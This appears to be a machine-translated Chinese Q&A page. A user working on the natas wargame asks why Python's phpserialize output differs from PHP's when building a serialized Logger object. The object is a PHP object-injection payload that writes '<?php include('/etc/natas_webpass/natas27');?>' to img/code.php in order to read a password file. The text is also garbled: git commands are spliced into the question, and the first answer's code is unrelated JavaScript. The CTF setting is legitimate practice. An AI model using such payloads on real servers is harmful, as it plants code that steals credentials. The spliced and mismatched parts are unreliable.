Python phpserialize意外的行为

时间:2017-11-14 08:20:59

标签: php python serialization

虽然尝试在线进行 natas 挑战,但我想将php代码转换为python,但我没有得到预期的结果。我可能会遗漏git checkout master git pull origin master # keep your master branch up to date git checkout feature-12345 git merge master # to get new features from master, resolve conflicts... git push origin feature-12345 # push the merge commit to bitbucket

中的某些内容

为什么它会提供不同的输出?

Python代码

phpserialize

PHP代码

import base64
from phpserialize import serialize

payload = {'initMsg': "", 'exitMsg': "<?php include('/etc/natas_webpass/natas27');?>", 'logFile': "img/code.php"}
new_ser = base64.encodestring(serialize(payload))
print(new_ser)

PHP代码产生:<?php class Logger{ private $logFile; private $initMsg; private $exitMsg; function __construct(){ $this->initMsg = ""; $this->exitMsg = "<?php include('/etc/natas_webpass/natas27');?>"; $this->logFile = "img/code.php"; } } $obj = new Logger(); echo base64_encode(serialize($obj)); ?>

python代码产生:

Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoxMjoiaW1nL2NvZGUucGhwIjtzOjE1OiIATG9nZ2VyAGluaXRNc2ciO3M6MDoiIjtzOjE1OiIATG9nZ2VyAGV4aXRNc2ciO3M6NDY6Ijw/cGhwIGluY2x1ZGUoJy9ldGMvbmF0YXNfd2VicGFzcy9uYXRhczI3Jyk7Pz4iO30=

2 个答案:

答案 0 :(得分:1)

您正在序列化python版本中的哈希,以及PHP中的一个对象。只需将对象转换为哈希(关联数组),它应该产生相同的结果:

var data= {product_id: 4, name: 'nike'}
console.log(data)

var dataNew = data
dataNew.id = 1

console.log(dataNew)

答案 1 :(得分:0)

在审核完文档之后,我想出了一个解决方案,首先将数据转换为对象,然后对其进行序列化。

@Maxim使PHP代码像python,

下面的代码使Python代码像PHP

感觉这是一种艰难的方式,不确定这是否可以变得更简单。

class Logger():
    def __init__(self,initMsg,exitMsg,logFile):
        self.initMsg = initMsg
        self.exitMsg = exitMsg
        self.logFile = logFile

def object_hook(obj):
    if isinstance(obj, Logger):
        return phpobject('Logger', {b'\x00Logger\x00initMsg': obj.initMsg, b'\x00Logger\x00exitMsg': obj.exitMsg, b'\x00Logger\x00logFile': obj.logFile})

logger = Logger("", "<?php include('/etc/natas_webpass/natas27');?>", "img/code.php")    
new_ser = base64.encodestring(serialize(logger, object_hook=object_hook)).replace(b'\n', b'').decode('ascii')